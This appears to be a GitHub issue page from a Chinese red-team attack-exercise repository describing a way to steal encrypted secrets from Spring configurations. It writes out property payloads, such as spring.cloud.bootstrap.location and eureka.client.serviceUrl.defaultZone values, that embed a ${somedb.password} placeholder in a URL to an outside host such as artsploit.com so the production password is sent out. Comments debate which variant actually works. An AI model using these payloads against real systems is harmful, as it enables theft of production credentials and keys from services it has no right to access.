2020攻防演练弹药库-您有主机上线请注意
就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也ok
eureka.client.serviceUrl.defaultZone=http://${somedb.password}@127.0.0.1:5000 spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml
${somedb.password} 是Spring的占位符, 当发起如下请求时会主动填充, 也就是说所有用以下请求格式的都可以外带, 不限于eureka
${somedb.password}
eureka
scheme://[user:password@]domain:port/path?query_string#fragment_id
【Spring源码分析】.properties文件读取及占位符${...}替换源码解析 - 五月的仓颉 - 博客园
纠正一下:
出处不是你给的文章里的内容,利用 spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml 偷密码跟本不能复现,有理由怀疑根本不行,而作者没有测试或者跟踪源码
spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml
你可以跟一下 eureka.client.serviceUrl.defaultZone 偷密码那个流程,结合了 eureka 的认证流程,所以可以外带密码
eureka.client.serviceUrl.defaultZone
学习了,确实可以从目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
Activity
LandGrey commentedon May 27, 2020
纠正一下:
出处不是你给的文章里的内容,利用
spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml偷密码跟本不能复现,有理由怀疑根本不行,而作者没有测试或者跟踪源码你可以跟一下
eureka.client.serviceUrl.defaultZone偷密码那个流程,结合了eureka的认证流程,所以可以外带密码LandGrey commentedon May 27, 2020
学习了,确实可以从目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据